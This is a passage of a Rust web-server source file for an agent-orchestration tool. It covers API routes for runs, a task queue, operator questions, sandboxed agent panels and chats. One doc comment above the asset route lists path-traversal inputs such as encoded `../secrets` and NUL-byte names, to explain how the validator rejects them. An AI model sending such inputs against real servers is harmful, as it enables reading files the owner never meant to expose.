1782            .ensure_can_delete(in_flight)
1783            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
1784        let dir = ui.runs.join(&id);
1785        std::fs::remove_dir_all(&dir)
1786            .with_context(|| format!("remove run directory {}", dir.display()))?;
1787        // The agent that asked died with the run, so an open question would
1788        // keep asking the operator for a decision nobody can deliver.
1789        ui.questions.abandon_for_run(
1790            &id,
1791            &format!("run {id} was deleted, so nothing is waiting for this answer"),
1792        )?;
1793        Ok(StatusCode::NO_CONTENT)
1794    })
1795    .await
1796}
1797
1798/// `POST /api/runs/{id}/fold`.
1799///
1800/// Remove a run's candidate worktrees and branches, keeping its record.
1801///
1802/// This exists because the deck answered "delete this run" with *"Candidates
1803/// must be folded before deleting. Run `magi fold` first."* — a phone being
1804/// told to open a terminal, in the one product whose point is that it does
1805/// not need one. The runs an operator most wants gone are the stalled and
1806/// blocked ones, and those are exactly the runs still holding worktrees:
1807/// three of them here held 53 GB.
1808///
1809/// The winner's tree goes too. A fold is what someone asks for when they are
1810/// finished with a run, and leaving one tree behind would leave the delete
1811/// button disabled for the same reason as before.
1812///
1813/// Refused while a live daemon is working on the run, on the rule that guards
1814/// deletion: folding underneath a running agent would pull the tree it is
1815/// editing out from under it.
1816async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
1817    let (id, mut state) = {
1818        let ui = Arc::clone(&ui);
1819        blocking(move || {
1820            let id = resolve_run(&ui.runs, &id)?;
1821            let state = read_run(&ui.runs, &id)?;
1822            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
1823                return Err(ApiError::conflict(format!(
1824                    "run {} is being worked on by a live daemon right now",
1825                    state.short()
1826                )));
1827            }
1828            Ok((id, state))
1829        })
1830        .await?
1831    };
1832    let removed = crate::graph::fold_run(&mut state, true)
1833        .await
1834        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
1835    Ok(Json(FoldView {
1836        run: id,
1837        removed_count: removed.len(),
1838        removed,
1839    }))
1840}
1841
1842/// What a fold took away, so the deck can say so rather than only re-render.
1843#[derive(Debug, Serialize)]
1844struct FoldView {
1845    run: String,
1846    /// Worktree paths and branch names removed, in the order they went.
1847    removed: Vec<String>,
1848    removed_count: usize,
1849}
1850
1851/// `POST /api/runs/{id}/resume`.
1852///
1853/// Carry a stalled run on from where it stopped, in the background.
1854///
1855/// A stalled card says "the work is kept" and used to offer no way to act on
1856/// that: the candidates are built and paid for, and continuing means re-asking
1857/// only the seats whose absence collapsed the panel. The alternative an
1858/// operator actually had was releasing the task, which competes three fresh
1859/// implementations against work that already exists.
1860///
1861/// **202, not 200.** A resume runs agents for minutes; holding the connection
1862/// is the mistake `POST /api/chats/{id}/say` already made and had fixed. The
1863/// phone learns the outcome from the change stream.
1864///
1865/// Refused when the loop is running at all, not merely when it is on this run.
1866/// magi runs one competition at a time on purpose — the scarce resource is the
1867/// agent CLIs' quota — and a tap that quietly started a second graph would
1868/// double the burn for no extra throughput.
1869async fn run_resume(
1870    State(ui): State<Arc<Ui>>,
1871    Path(id): Path<String>,
1872) -> ApiResult<(StatusCode, Json<RunSummary>)> {
1873    let (id, state) = {
1874        let ui = Arc::clone(&ui);
1875        blocking(move || {
1876            let id = resolve_run(&ui.runs, &id)?;
1877            let state = read_run(&ui.runs, &id)?;
1878            Ok((id, state))
1879        })
1880        .await?
1881    };
1882    if !state.status.resumable() {
1883        return Err(ApiError::conflict(format!(
1884            "run {} is `{}`, and only a stalled or blocked run can be resumed",
1885            state.short(),
1886            status_word(state.status)
1887        )));
1888    }
1889    if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now()) {
1890        return Err(ApiError::conflict(format!(
1891            "the loop is running run {} right now; magi runs one competition at \
1892             a time so the agent quota is not spent twice over. Stop the loop \
1893             first.",
1894            crate::run::short_of(&work.run)
1895        )));
1896    }
1897    let _resume = ui.begin_resume(&id)?;
1898
1899    // The same shape the list route returns, so the phone updates the card it
1900    // already has rather than learning a second schema for one button.
1901    let queued = RunSummary::of(&state, !ui.questions.open_for(&id).is_empty());
1902    let run = id.clone();
1903    tokio::spawn(async move {
1904        let _resume = _resume;
1905        match crate::graph::Runner::resume(&run) {
1906            Ok(mut runner) => {
1907                if let Err(e) = runner.execute().await {
1908                    tracing::warn!("resume of run {run} stopped: {e:#}");
1909                }
1910            }
1911            // The run's own record is what the phone reads; this line is for
1912            // the operator's terminal.
1913            Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
1914        }
1915    });
1916    Ok((StatusCode::ACCEPTED, Json(queued)))
1917}
1918
1919async fn run_report(
1920    State(ui): State<Arc<Ui>>,
1921    Path(id): Path<String>,
1922) -> ApiResult<impl IntoResponse> {
1923    let text = blocking(move || {
1924        let id = resolve_run(&ui.runs, &id)?;
1925        // Colour is off for the whole process, set once in `serve`. Rendering
1926        // is CPU work over the full state, which is the other reason this is
1927        // not on the executor.
1928        Ok(report::run(&read_run(&ui.runs, &id)?))
1929    })
1930    .await?;
1931    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
1932}
1933
1934/// A task as the UI sees it.
1935///
1936/// The whole task, plus the two things the client would otherwise have to
1937/// reimplement: the human-readable source and the status string. Nothing is
1938/// removed - the phone shows `last_error` and the run history verbatim.
1939#[derive(Debug, Serialize)]
1940struct TaskView {
1941    #[serde(flatten)]
1942    task: Task,
1943    source_label: String,
1944    status_str: &'static str,
1945    /// The instruction, parsed as markdown, for the Queue card's "Full
1946    /// instruction" panel. `task.instruction` is unchanged and still carries
1947    /// the raw text.
1948    instruction_md: Vec<md::Node>,
1949}
1950
1951impl From<Task> for TaskView {
1952    fn from(task: Task) -> Self {
1953        Self {
1954            source_label: task.source.label(),
1955            status_str: task.status.as_str(),
1956            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
1957            task,
1958        }
1959    }
1960}
1961
1962/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
1963/// its absence, leaves the cache to decide.
1964#[derive(Debug, Default, Deserialize)]
1965#[serde(default)]
1966struct ReposQuery {
1967    refresh: u8,
1968}
1969
1970/// `GET /api/repos` - the repository picker for the plan surface's "start a
1971/// conversation" panel and its "continue in another repository" action.
1972///
1973/// Reads `[repos] roots` and `[repos] scan_ttl` off the same config the rest
1974/// of the plan surface uses, discovered against `ui.repo` so an edit to
1975/// `magi.toml` takes effect without a restart, the same reasoning
1976/// [`config_for`] documents for the chat routes.
1977async fn repos_list(
1978    State(ui): State<Arc<Ui>>,
1979    Query(q): Query<ReposQuery>,
1980) -> ApiResult<Json<Vec<repos::Repo>>> {
1981    let refresh = q.refresh != 0;
1982    blocking(move || {
1983        let (cfg, _) = Config::discover(&ui.repo, None)?;
1984        Ok(Json(ui.repos_cache.list(
1985            &cfg.repos.roots,
1986            Duration::from_secs(cfg.repos.scan_ttl),
1987            refresh,
1988        )))
1989    })
1990    .await
1991}
1992
1993async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
1994    blocking(move || {
1995        Ok(Json(
1996            ui.queue.list().into_iter().map(TaskView::from).collect(),
1997        ))
1998    })
1999    .await
2000}
2001
2002/// The body of `POST /api/queue`.
2003///
2004/// Every field defaults so the phone can send only what the operator typed,
2005/// and unknown fields are ignored so a newer front end talking to an older
2006/// binary still files the task.
2007#[derive(Debug, Default, Deserialize)]
2008#[serde(default)]
2009struct NewTask {
2010    instruction: String,
2011    title: Option<String>,
2012    repo: Option<PathBuf>,
2013    priority: Option<i32>,
2014}
2015
2016async fn queue_post(
2017    State(ui): State<Arc<Ui>>,
2018    body: std::result::Result<Json<NewTask>, JsonRejection>,
2019) -> ApiResult<impl IntoResponse> {
2020    // Taken as a `Result` so a malformed body is the 400 the contract promises
2021    // rather than axum's default 422, which the UI has no branch for.
2022    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2023    if body.instruction.trim().is_empty() {
2024        return Err(ApiError::bad_request(
2025            "instruction must not be blank: an empty task would burn a whole \
2026             competition on nothing",
2027        ));
2028    }
2029    let view = blocking(move || {
2030        let title = body
2031            .title
2032            .filter(|t| !t.trim().is_empty())
2033            .unwrap_or_else(|| title_from(&body.instruction, TITLE_MAX));
2034        let repo = body.repo.unwrap_or_else(|| ui.repo.clone());
2035        let mut task = Task::new(title, body.instruction, repo, Source::Human);
2036        task.priority = body.priority.unwrap_or(0);
2037        ui.queue.put(&mut task)?;
2038        Ok(TaskView::from(task))
2039    })
2040    .await?;
2041    Ok((StatusCode::CREATED, Json(view)))
2042}
2043
2044async fn queue_hold(
2045    State(ui): State<Arc<Ui>>,
2046    Path(id): Path<String>,
2047) -> ApiResult<Json<TaskView>> {
2048    mutate(ui, id, Task::hold).await
2049}
2050
2051async fn queue_release(
2052    State(ui): State<Arc<Ui>>,
2053    Path(id): Path<String>,
2054) -> ApiResult<Json<TaskView>> {
2055    mutate(ui, id, Task::release).await
2056}
2057
2058/// `DELETE /api/queue/{id}`.
2059///
2060/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
2061/// names this task: a `running` status or an orphaned `.lock` left behind by a
2062/// killed daemon is a leftover, and treating either as authority made the
2063/// task undeletable from the phone for good. The associated runs, if any, are
2064/// kept: a run is self-contained history and not an appendage of the task.
2065async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2066    blocking(move || {
2067        let id = resolve_task(&ui.queue, &id)?;
2068        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
2069        ui.queue
2070            .remove(&id, in_flight)
2071            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2072        Ok(StatusCode::NO_CONTENT)
2073    })
2074    .await
2075}
2076
2077/// Read a task, change it, write it back, under the queue's own lock.
2078///
2079/// Taking the same claim a daemon takes is what makes hold and release safe to
2080/// press while magi is running: without it the daemon's next save would land
2081/// on top of the operator's hold and the task would keep going.
2082async fn mutate(ui: Arc<Ui>, id: String, change: fn(&mut Task)) -> ApiResult<Json<TaskView>> {
2083    blocking(move || {
2084        let id = resolve_task(&ui.queue, &id)?;
2085        // `claim` fails when the lock file already exists, which is the
2086        // conflict the UI must report: the daemon owns that task's file for
2087        // as long as it is running it, and our write would be lost under its
2088        // next save. The message names the lock either way.
2089        let _claim = ui.queue.claim(&id).map_err(|e| {
2090            ApiError::conflict(format!(
2091                "{e:#} - a daemon is running this task, so it cannot be \
2092                 changed from here yet"
2093            ))
2094        })?;
2095        let mut task = ui.queue.get(&id)?;
2096        change(&mut task);
2097        ui.queue.put(&mut task)?;
2098        Ok(Json(TaskView::from(task)))
2099    })
2100    .await
2101}
2102
2103/// The change stream: one revision number per store, on connect and whenever
2104/// any of them moves.
2105///
2106/// The poll runs in one spawned task per client, which is affordable because
2107/// the work is a directory scan and a `stat` per file. It stops as soon as the
2108/// receiver is gone, so a phone that walks out of range costs nothing after
2109/// its next tick - there is no session and no cleanup to forget.
2110async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
2111    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
2112    tokio::spawn(async move {
2113        let mut ticker = tokio::time::interval(POLL);
2114        let mut last: Option<(u64, u64, u64, u64, u64)> = None;
2115        loop {
2116            // The first tick completes immediately, which is what makes the
2117            // stream announce the current revisions on connect.
2118            ticker.tick().await;
2119            let state = Arc::clone(&ui);
2120            let revisions = tokio::task::spawn_blocking(move || {
2121                (
2122                    state.queue.revision(),
2123                    runs_revision(&state.runs),
2124                    state.questions.revision(),
2125                    state.chats.revision(),
2126                    // The loop's counter is in-process state rather than a
2127                    // file, so nothing the three stats above look at would
2128                    // tell this phone that another one started the loop.
2129                    state.lock_loop().rev,
2130                )
2131            })
2132            .await;
2133            let Ok(revisions) = revisions else { break };
2134            if last == Some(revisions) {
2135                continue;
2136            }
2137            last = Some(revisions);
2138            let payload = serde_json::json!({
2139                "queue_rev": revisions.0,
2140                "runs_rev": revisions.1,
2141                "questions_rev": revisions.2,
2142                "chats_rev": revisions.3,
2143                "loop_rev": revisions.4,
2144            });
2145            // Serializing five integers cannot fail; giving up beats looping.
2146            let Ok(event) = Event::default().event("change").json_data(payload) else {
2147                break;
2148            };
2149            if tx.send(event).await.is_err() {
2150                break;
2151            }
2152        }
2153    });
2154    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
2155        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
2156}
2157
2158/// Change detection token for recorded runs under `runs`.
2159///
2160/// Combines the id and `run.json` modification time of each run, so adding,
2161/// updating, or deleting any run — even an older one — moves the revision and
2162/// notifies connected clients via the change stream. Returns 0 when no runs
2163/// exist.
2164fn runs_revision(runs: &FsPath) -> u64 {
2165    use std::hash::{Hash as _, Hasher as _};
2166
2167    let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
2168        .into_iter()
2169        .flatten()
2170        .flatten()
2171        .filter_map(|e| {
2172            let path = e.path().join("run.json");
2173            let mtime = path
2174                .metadata()
2175                .ok()?
2176                .modified()
2177                .ok()?
2178                .duration_since(std::time::UNIX_EPOCH)
2179                .ok()?
2180                .as_millis() as u64;
2181            let id = e.file_name().to_string_lossy().into_owned();
2182            Some((id, mtime))
2183        })
2184        .collect();
2185
2186    if entries.is_empty() {
2187        return 0;
2188    }
2189
2190    entries.sort_unstable();
2191    let mut hasher = std::hash::DefaultHasher::new();
2192    for (id, mtime) in &entries {
2193        id.hash(&mut hasher);
2194        mtime.hash(&mut hasher);
2195    }
2196    let h = hasher.finish();
2197    if h == 0 { 1 } else { h }
2198}
2199
2200/// Run ids under `runs`, newest first.
2201///
2202/// Rooted at an explicit directory rather than calling [`run::list_ids`],
2203/// which reads the process-global home: the server has to be drivable against
2204/// a temp directory for any of this to be testable.
2205fn run_ids(runs: &FsPath) -> Vec<String> {
2206    let mut ids: Vec<String> = std::fs::read_dir(runs)
2207        .into_iter()
2208        .flatten()
2209        .flatten()
2210        .filter(|e| e.path().join("run.json").is_file())
2211        .map(|e| e.file_name().to_string_lossy().into_owned())
2212        .collect();
2213    // Ids start with a sortable timestamp.
2214    ids.sort_unstable_by(|a, b| b.cmp(a));
2215    ids
2216}
2217
2218/// Read one run's state from an explicit runs root.
2219fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
2220    let path = runs.join(id).join("run.json");
2221    let body =
2222        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
2223    let state: RunState =
2224        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
2225    if state.schema != run::SCHEMA {
2226        anyhow::bail!(
2227            "run {} was written by a different magi (schema {}, this build speaks {})",
2228            state.id,
2229            state.schema,
2230            run::SCHEMA
2231        );
2232    }
2233    Ok(state)
2234}
2235
2236/// Runs on disk under `runs` whose state this build cannot parse - almost
2237/// always a schema bump, occasionally a run killed mid-write.
2238///
2239/// Exposed so every surface that reports on runs shares one count instead of
2240/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
2241/// `magi doctor` calls this directly rather than guessing at the same number
2242/// a second way.
2243#[must_use]
2244pub fn runs_unreadable(runs: &FsPath) -> usize {
2245    run_ids(runs)
2246        .into_iter()
2247        .filter(|id| read_run(runs, id).is_err())
2248        .count()
2249}
2250
2251/// Expand an id or short id to exactly one run id.
2252fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
2253    if runs.join(id).join("run.json").is_file() {
2254        return Ok(id.to_owned());
2255    }
2256    pick(run_ids(runs), id, "run")
2257}
2258
2259/// Expand an id or short id to exactly one task id.
2260fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
2261    if queue.path_of(id).is_file() {
2262        return Ok(id.to_owned());
2263    }
2264    pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
2265}
2266
2267/// A question as the phone reads it.
2268///
2269/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
2270/// text already parsed into a node tree so the client never runs its own
2271/// markdown reader over agent-authored prose. A relative image path in it
2272/// resolves against this question's own panel asset route, which is the one
2273/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
2274/// separate, sandboxed document, but `detail` is rendered inline in the
2275/// operator's own page, so an image reference in it may only ever point at
2276/// files magi itself already serves for this question.
2277#[derive(Debug, Serialize)]
2278struct QuestionView {
2279    #[serde(flatten)]
2280    question: Question,
2281    detail_md: Vec<md::Node>,
2282}
2283
2284impl From<Question> for QuestionView {
2285    fn from(question: Question) -> Self {
2286        let base = md::ImageBase::QuestionPanel {
2287            id: question.id.clone(),
2288        };
2289        Self {
2290            detail_md: md::to_nodes(&question.detail, &base),
2291            question,
2292        }
2293    }
2294}
2295
2296/// `GET /api/questions`.
2297///
2298/// Everything, not just the open ones: an answered question is the record of a
2299/// decision, and the phone is where the operator goes back to check what they
2300/// told an agent at 3am. `ask::Questions::list` already ranks open first.
2301async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
2302    blocking(move || {
2303        Ok(Json(
2304            ui.questions
2305                .list()
2306                .into_iter()
2307                .map(QuestionView::from)
2308                .collect(),
2309        ))
2310    })
2311    .await
2312}
2313
2314/// The body of `POST /api/questions/{id}/answer`.
2315///
2316/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
2317/// a bad request rather than a guess: an answer magi invented is worse than a
2318/// question left open.
2319#[derive(Debug, Default, Deserialize)]
2320#[serde(default, deny_unknown_fields)]
2321struct NewAnswer {
2322    choice: Option<String>,
2323    text: Option<String>,
2324}
2325
2326async fn question_answer(
2327    State(ui): State<Arc<Ui>>,
2328    Path(id): Path<String>,
2329    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
2330) -> ApiResult<Json<QuestionView>> {
2331    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2332    let answer = match (body.choice, body.text) {
2333        (Some(c), None) => Answer::Choice(c),
2334        (None, Some(t)) => Answer::Text(t),
2335        (Some(_), Some(_)) => {
2336            return Err(ApiError::bad_request(
2337                "send either `choice` or `text`, not both",
2338            ));
2339        }
2340        (None, None) => {
2341            return Err(ApiError::bad_request("send a `choice` or a `text`"));
2342        }
2343    };
2344
2345    blocking(move || {
2346        let id = resolve_question(&ui.questions, &id)?;
2347        let mut q = ui
2348            .questions
2349            .get(&id)
2350            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
2351        if !q.status.open() {
2352            // Answered from the terminal, or by another phone, in between the
2353            // list and the tap. The UI shows the recorded answer rather than an
2354            // error, so it needs the record, not just the status.
2355            return Err(ApiError::conflict(format!(
2356                "question {} is already {}",
2357                q.short(),
2358                q.status.as_str()
2359            )));
2360        }
2361        // `Question::answer` owns the rules - an unoffered choice, free text on
2362        // a multiple-choice question, an empty reply - so the route does not
2363        // restate them and cannot drift from the CLI's behaviour.
2364        q.answer(answer).map_err(ApiError::bad_request_from)?;
2365        ui.questions.put(&mut q)?;
2366        Ok(Json(QuestionView::from(q)))
2367    })
2368    .await
2369}
2370
2371/// Expand an id or short id to exactly one question id.
2372fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
2373    if store.path_of(id).is_file() {
2374        return Ok(id.to_owned());
2375    }
2376    pick(
2377        store.list().into_iter().map(|q| q.id).collect(),
2378        id,
2379        "question",
2380    )
2381}
2382
2383/// `GET /api/questions/{id}/panel`.
2384///
2385/// The panel an agent wrote for this question, as `text/html` under
2386/// [`PANEL_CSP`], for the front end to mount in a token-less sandboxed iframe.
2387/// A question without one is a 404 rather than an empty page: the client
2388/// preflights this route with `HEAD` and must be able to tell "no panel" from
2389/// "a panel that rendered blank", and a sandboxed frame is opaque to the
2390/// parent document so it cannot tell the difference by looking.
2391///
2392/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
2393/// sanitises or minifies it - a sanitiser is a list of things someone thought
2394/// of, and the sandbox plus the CSP is a list of things that are allowed, which
2395/// is the direction that stays safe when an agent writes markup nobody
2396/// predicted.
2397async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
2398    blocking(move || {
2399        let id = resolve_question(&ui.questions, &id)?;
2400        let Some(html) = ui.questions.panel_html(&id) else {
2401            return Err(ApiError::not_found(format!("question {id} has no panel")));
2402        };
2403        Ok(panel_response(
2404            "text/html; charset=utf-8",
2405            false,
2406            html.into_bytes(),
2407        ))
2408    })
2409    .await
2410}
2411
2412/// `GET /api/questions/{id}/asset/{name}`.
2413///
2414/// One file from the question's own panel directory, so a panel can show a
2415/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
2416/// having to allow anything off this machine.
2417///
2418/// This is the only route in the server where a client names a file, so it is
2419/// the only one with a traversal surface, and the name is checked by
2420/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
2421/// what is worth being explicit about, because the answer is not "all of it in
2422/// one place":
2423///
2424/// * `asset/../../secrets` never reaches this handler at all. axum matches on
2425///   the raw request path and `{name}` spans exactly one segment, so a real
2426///   slash makes the request too long for the route and the router answers 404.
2427/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
2428///   percent-decodes path parameters, so `name` arrives as `../secrets` and
2429///   `..\secrets` respectively, which look like plain filenames to the router.
2430///   The validator refuses them here - both for the literal `..` and because
2431///   `/` and `\` are not in the permitted character set - and answers 400.
2432/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
2433///   the platform's path API is not, and it is refused here for the same
2434///   reason: NUL is not a permitted character.
2435/// * [`Questions::panel_asset`] validates again on read, so the check is not
2436///   load-bearing in only one place. This route's own check exists so the
2437///   failure is a 400 that says which name was wrong, rather than a store error
2438///   the operator has to interpret.
2439async fn question_asset(
2440    State(ui): State<Arc<Ui>>,
2441    Path((id, name)): Path<(String, String)>,
2442) -> ApiResult<Response> {
2443    // Before any filesystem work and before any path is built: a name this
2444    // server will not serve should not become a `PathBuf` at all.
2445    if !crate::ask::valid_asset_name(&name) {
2446        return Err(ApiError::bad_request(format!(
2447            "`{name}` is not a usable asset name"
2448        )));
2449    }
2450    blocking(move || {
2451        let id = resolve_question(&ui.questions, &id)?;
2452        let asset = ui
2453            .questions
2454            .panel_asset(&id, &name)
2455            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
2456        let Some(bytes) = asset else {
2457            return Err(ApiError::not_found(format!(
2458                "question {id} has no asset `{name}`"
2459            )));
2460        };
2461        Ok(panel_response(
2462            asset_content_type(&name),
2463            is_svg(&name),
2464            bytes,
2465        ))
2466    })
2467    .await
2468}
2469
2470/// Content type for a panel asset, from a closed whitelist.
2471///
2472/// A whitelist with an `application/octet-stream` fallback rather than a
2473/// guess, because the one answer that must never come out of here is
2474/// `text/html`. An agent that writes `notes.html` into its panel directory and
2475/// links it would otherwise get its own markup rendered at the top level of the
2476/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
2477/// magi's origin - which is precisely the thing the panel design exists to
2478/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
2479///
2480/// `nosniff` accompanies this on every response, so a browser cannot decide it
2481/// knows better than the type we sent.
2482fn asset_content_type(name: &str) -> &'static str {
2483    match extension(name).as_deref() {
2484        Some("png") => "image/png",
2485        Some("jpg" | "jpeg") => "image/jpeg",
2486        Some("gif") => "image/gif",
2487        Some("webp") => "image/webp",
2488        Some("svg") => "image/svg+xml",
2489        Some("css") => "text/css; charset=utf-8",
2490        Some("txt") => "text/plain; charset=utf-8",
2491        _ => "application/octet-stream",
2492    }
2493}
2494
2495/// Is this an SVG, and therefore a file that must never be opened at the top
2496/// level?
2497fn is_svg(name: &str) -> bool {
2498    extension(name).as_deref() == Some("svg")
2499}
2500
2501/// Lowercased extension, or `None` for a name without one.
2502fn extension(name: &str) -> Option<String> {
2503    name.rsplit_once('.')
2504        .map(|(_, ext)| ext.to_ascii_lowercase())
2505}
2506
2507/// Every panel response, with the four headers that make it safe and, for an
2508/// SVG, a fifth.
2509///
2510/// One function rather than a header list per handler, because a panel route
2511/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
2512/// model gone, silently, on one of two routes. Adding a third panel route later
2513/// means calling this, and there is nowhere else to build a panel response.
2514///
2515/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
2516/// as an `<img src>` inside the panel that script cannot run - but the asset
2517/// URL is also a plain URL an operator can be talked into opening in a tab,
2518/// where it is a document on magi's own origin. `Content-Disposition:
2519/// attachment` makes the browser download it instead of rendering it, which
2520/// closes that door without taking away the ability to draw a diff. Raster
2521/// images have no such execution surface and are left inline, so tapping a
2522/// screenshot still shows it.
2523fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
2524    let mut res = (
2525        [
2526            (header::CONTENT_TYPE, content_type),
2527            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
2528            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
2529            (header::REFERRER_POLICY, "no-referrer"),
2530        ],
2531        body,
2532    )
2533        .into_response();
2534    if download {
2535        res.headers_mut().insert(
2536            header::CONTENT_DISPOSITION,
2537            HeaderValue::from_static("attachment"),
2538        );
2539    }
2540    res
2541}
2542
2543/// A chat as the phone reads it.
2544///
2545/// Every field of [`Chat`] verbatim, plus the two things `app.js` would
2546/// otherwise have to parse itself: `turn_bodies_md`, one markdown node tree
2547/// per entry of `turns` in the same order, and `draft_md`, the parsed form of
2548/// `draft` when there is one. `turns` and `draft` are untouched - a client
2549/// reading the exact bytes a chat turn holds, or the exact bytes that would
2550/// be filed as a task, still can.
2551#[derive(Debug, Serialize)]
2552struct ChatView {
2553    #[serde(flatten)]
2554    chat: Chat,
2555    turn_bodies_md: Vec<Vec<md::Node>>,
2556    draft_md: Option<Vec<md::Node>>,
2557}
2558
2559impl From<Chat> for ChatView {
2560    fn from(chat: Chat) -> Self {
2561        let turn_bodies_md = chat
2562            .turns
2563            .iter()
2564            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
2565            .collect();
2566        let draft_md = chat
2567            .draft
2568            .as_deref()
2569            .map(|draft| md::to_nodes(draft, &md::ImageBase::None));
2570        Self {
2571            turn_bodies_md,
2572            draft_md,
2573            chat,
2574        }
2575    }
2576}
2577
2578/// `GET /api/chats`.
2579///
2580/// Every interview, open ones first and newest first, which is
2581/// [`Chats::list`]'s own order. The whole record including the transcript: a
2582/// conversation is a few kilobytes, the phone renders it directly, and a
2583/// summary here would mean a second round trip to read the only thing a chat
2584/// is made of.
2585async fn chats_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<ChatView>>> {
2586    blocking(move || {
2587        Ok(Json(
2588            ui.chats.list().into_iter().map(ChatView::from).collect(),
2589        ))
2590    })
2591    .await
2592}
2593
2594async fn chat_detail(
2595    State(ui): State<Arc<Ui>>,
2596    Path(id): Path<String>,
2597) -> ApiResult<Json<ChatView>> {
2598    blocking(move || {
2599        let id = resolve_chat(&ui.chats, &id)?;
2600        Ok(Json(ChatView::from(ui.chats.get(&id)?)))
2601    })
2602    .await
2603}
2604
2605/// The body of `POST /api/chats`.
2606///
2607/// `agent` names a seat from the roster to do the interviewing; absent means
2608/// the configured default, which is what the phone sends. `repo` is a path,
2609/// not a short name - resolving `owner/repo` against `[repos] roots` is the
2610/// job of whatever built the picker the operator chose from, i.e.
2611/// `GET /api/repos`, so this route only ever has to trust a path. `from`
2612/// derives this conversation from an existing one - see [`chat::start`].
2613/// Unknown fields are ignored so a newer front end still starts an interview
2614/// against an older binary.
2615#[derive(Debug, Default, Deserialize)]
2616#[serde(default)]
2617struct NewChat {
2618    idea: String,
2619    agent: Option<String>,
2620    repo: Option<PathBuf>,
2621    from: Option<String>,
2622}
2623
2624/// `POST /api/chats`.
2625///
2626/// Starting an interview runs the first agent turn, so this is as slow as
2627/// [`chat_say`] and is async for the same reason. There is no turn guard yet
2628/// because there is no chat yet: the id does not exist until [`chat::start`]
2629/// returns, so two taps produce two separate interviews rather than two turns
2630/// in one. Two interviews are recoverable - abandon one - where two interleaved
2631/// turns are not.
2632async fn chat_post(
2633    State(ui): State<Arc<Ui>>,
2634    body: std::result::Result<Json<NewChat>, JsonRejection>,
2635) -> ApiResult<impl IntoResponse> {
2636    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2637    if body.idea.trim().is_empty() {
2638        return Err(ApiError::bad_request(
2639            "an interview needs something to interview about",
2640        ));
2641    }
2642
2643    // Resolved before the agent runs, so a bad `from` id is a 4xx that names
2644    // it rather than a wasted agent turn against a conversation that does not
2645    // exist.
2646    let from = {
2647        let ui = Arc::clone(&ui);
2648        let from_id = body.from.clone();
2649        blocking(move || match from_id {
2650            None => Ok(None),
2651            Some(id) => {
2652                let resolved = resolve_chat(&ui.chats, &id)?;
2653                Ok(Some(ui.chats.get(&resolved)?))
2654            }
2655        })
2656        .await?
2657    };
2658
2659    // Read the configuration for this request rather than at startup, so an
2660    // edit to `magi.toml` - a new seat, a different interviewer - takes effect
2661    // without restarting the server the operator reaches from their phone.
2662    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
2663    let cfg = config_for(&repo).await?;
2664    let chat = chat::start(
2665        &ui.chats,
2666        &cfg,
2667        repo,
2668        &body.idea,
2669        body.agent.as_deref(),
2670        from.as_ref(),
2671    )
2672    .await
2673    .map_err(ApiError::from)?;
2674    Ok((StatusCode::CREATED, Json(ChatView::from(chat))))
2675}
2676
2677/// The body of `POST /api/chats/{id}/say`.
2678#[derive(Debug, Default, Deserialize)]
2679#[serde(default, deny_unknown_fields)]
2680struct NewTurn {
2681    text: String,
2682}
2683
2684/// `POST /api/chats/{id}/say` - one turn of the interview.
2685///
